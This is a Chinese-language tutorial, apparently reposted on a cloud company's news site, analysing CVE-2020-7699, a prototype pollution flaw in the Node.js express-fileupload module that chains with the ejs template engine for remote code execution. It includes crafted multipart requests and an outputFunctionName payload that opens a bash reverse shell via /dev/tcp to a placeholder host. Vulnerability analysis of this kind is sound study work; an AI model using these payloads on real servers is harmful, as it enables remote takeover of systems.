您好,登錄后才能下訂單哦!
如何進行CVE-2020-7699的漏洞分析,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
CVE-2020-7699:NodeJS模塊代碼注入
該漏洞完全是由于Nodejs的express-fileupload模塊引起,該模塊的1.1.8之前的版本存在原型鏈污染(Prototype Pollution)漏洞,當然,引發該漏洞,需要一定的配置:parseNested選項設置為true
該漏洞可以引發DOS拒絕服務攻擊,配合ejs模板引擎,可以達到RCE的目的
如果想要復現的話,需要下載低版本的express-fileupload模塊
npm i express-fileupload@1.1.7-alpha.4
引起漏洞的源代碼:(關鍵部分)
busboy.on('finish', () => { debugLog(options, `Busboy finished parsing request.`); if (options.parseNested) { req.body = processNested(req.body); req.files = processNested(req.files); } if (!req[waitFlushProperty]) return next(); Promise.all(req[waitFlushProperty]) .then(() => { delete req[waitFlushProperty]; next(); }).catch(err => { delete req[waitFlushProperty]; debugLog(options, `Error while waiting files flush: ${err}`); next(err); }); });
function processNested(data){ if (!data || data.length < 1) return {}; let d = {}, keys = Object.keys(data); //獲取鍵名,列表 for (let i = 0; i < keys.length; i++) { let key = keys[i], value = data[key], current = d, keyParts = key .replace(new RegExp(/\[/g), '.') .replace(new RegExp(/\]/g), '') .split('.'); for (let index = 0; index < keyParts.length; index++){ let k = keyParts[index]; if (index >= keyParts.length - 1){ current[k] = value; } else { if (!current[k]) current[k] = !isNaN(keyParts[index + 1]) ? [] : {}; current = current[k]; } } } return d; };
其實引發原型鏈污染處就在于這個porcessNested方法,該函數用法:
例如: 傳入的參數是:{"a.b.c":"m1sn0w"} 通過這個函數后,返回的是"{ a: { b: { c: 'm1sn0w' } } } 其實他跟那個merge函數比較類似,都是循環調用,因此存在原型鏈污染 傳入參數:{"__proto__.m1sn0w":"m1sn0w"} 然后我們調用console.log(Object.__proto__.m1sn0w) 返回的值為m1sn0w
到這里,就比較清楚,只要調用processNested這個函數,并且如果函數的參數可控,便可達到原型鏈污染的目的。所以,這里就要介紹該漏洞形成的先決條件,parseNested配置選項要設置為true,例如:
const fileUpload = require('express-fileUpload') var express = require('express') app = express() app.use(fileUpload({ parseNested: true })) app.get('/',(req,res)=>{ res.end("m1sn0w") })
觀察最上方第一部分代碼,如果parseNested參數為true,則調用processNested函數,且參數是req.body或者req.files
req.body是nodejs解析post請求體,req.files獲取上傳文件的信息
兩種方法都可以。這里先使用req.files參數(后面的RCE會使用到req.body)
關于req.files參數,例如:POST請求上傳文件
POST / HTTP/1.1 Host: 192.168.0.101:7778 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.101:7778/ Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333 Content-Length: 336 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt" Content-Type: text/plain aaa -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="username" -----------------------------1546646991721295948201928333--
可以觀察到req.files的值為:
{ upload: { name: 'm1sn0w.txt', data: <Buffer 61 61 61 0a>, size: 4, encoding: '7bit', tempFilePath: '', truncated: false, mimetype: 'text/plain', md5:'......' mv: [Function: mv] } }
更改上面的upluod參數為
__proto__.toString 那么結果就會變回: { __proto__.toString:{ ...... } }
由于設置了parseNested,會自動調用processNested函數,因此就造成了原型鏈的污染。
相當于:
{}[__proto__][toString] = { ...... }
當我們再次訪問頁面時,會返回500的錯誤(因為toString方法改變了)
ejs模板引擎存在一個利用原型污染,進行RCE的一個漏洞(這個漏洞暫時還沒有修復,可能是因為利用的先決條件是要存在一個原型鏈污染的點)
先分析一下ejs引發此漏洞的源碼:(這里提取出了關鍵部分)
compile: function () { /** @type {string} */ var src; /** @type {ClientFunction} */ var fn; var opts = this.opts; var prepended = ''; var appended = ''; /** @type {EscapeCallback} */ var escapeFn = opts.escapeFunction; /** @type {FunctionConstructor} */ var ctor; if (!this.source) { this.generateSource(); prepended += ' var __output = "";\n' + ' function __append(s) { if (s !== undefined && s !== null) __output += s }\n'; if (opts.outputFunctionName) { prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n'; } if (opts.destructuredLocals && opts.destructuredLocals.length) { var destructuring = ' var __locals = (' + opts.localsName + ' || {}),\n'; for (var i = 0; i < opts.destructuredLocals.length; i++) { var name = opts.destructuredLocals[i]; if (i > 0) { destructuring += ',\n '; } destructuring += name + ' = __locals.' + name; } prepended += destructuring + ';\n'; } if (opts._with !== false) { prepended += ' with (' + opts.localsName + ' || {}) {' + '\n'; appended += ' }' + '\n'; } appended += ' return __output;' + '\n'; this.source = prepended + this.source + appended; } } src = this.source ctor = Function fn = new ctor(opts.localsName + ', escapeFn,include,rethrow',src); fn.apply(opts.context,[data || {},escapeFn,include,rethrow]);
可以從下往上進行分析:
調用了fn方法,如果src參數可控,那么就可以自定義該函數;
src參數的值來源于this.source
從最上面的方法,this.source = prepended + this.source + appended
其實上面整個函數都是在拼接this.source,最關鍵的部分在這里:
if (!this.source) { this.generateSource(); prepended += ' var __output = "";\n' + ' function __append(s) { if (s !== undefined && s !== null) __output += s }\n'; if (opts.outputFunctionName) { prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n'; } }
利用的其實是這個:
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
通過全局分析,opts.outputFunctionName最初是并沒有賦值的,如果存在原型鏈污染漏洞的話,我們可以自定義構造這個值,構造payload:
opts.outputFunctionName = x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x
仔細觀察一下,為什么要x;開頭x結尾呢?其實是對上面的拼接,構成一個完整的js語句
現在來看一看如何通過上面的原型鏈污染來利用ejs達到RCE
這里利用的就是req.body而不是req.files
例如,這里構造POST請求:
POST / HTTP/1.1 Host: 192.168.0.101:7778 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.101:7778/ Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333 Content-Length: 339 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt" Content-Type: text/plain aaa -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="username" 123 -----------------------------1546646991721295948201928333--
通過req.body返回的是
{ username : '123' }
我們將上面的username改為
__proto__.outputFunctionName
123的值改為:
x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/prot 0>&1"');x
當我們再次發起請求時,便會在指定的主機反彈回來一個shell,從而達到RCE的目的
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。